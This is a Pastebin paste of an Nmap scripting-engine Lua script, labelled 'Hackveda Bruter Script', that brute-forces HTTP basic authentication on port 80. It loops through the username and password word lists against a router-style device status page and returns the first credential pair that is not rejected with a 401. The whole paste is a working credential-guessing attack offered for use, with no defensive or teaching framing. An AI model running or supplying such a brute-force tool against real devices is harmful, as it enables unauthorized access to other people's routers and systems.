Guest User

Untitled

a guest
May 16th, 2018
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. #Hackveda Bruter Script
  2. #Author: Devanshu Shukla
  3. description = [[
  4. This script brute force a remote target and identifies Username and Password.
  5. ]]
  6.  
  7. categories = {"intrusive", "auth"}
  8.  
  9. require("http")
  10. require("unpwdb")
  11.  
  12. function portrule(host, port)
  13. return port.number == 80
  14. end
  15.  
  16. function action(host, port)
  17. local usernames, passwords
  18. local status
  19. status, usernames = unpwdb.usernames()
  20. status, passwords = unpwdb.passwords()
  21.  
  22. for password in passwords do
  23. for username in usernames do
  24. local response
  25. response = http.get(host, port, "/status/status_deviceinfo.htm", {auth ={username = username, password = password}} )
  26. if response.status and response.status ~=401 then
  27. return username ..":".. password
  28.  
  29. end
  30. end
  31.  
  32. usernames("reset")
  33.  
  34. end
  35. end
Add Comment
Please, Sign In to add comment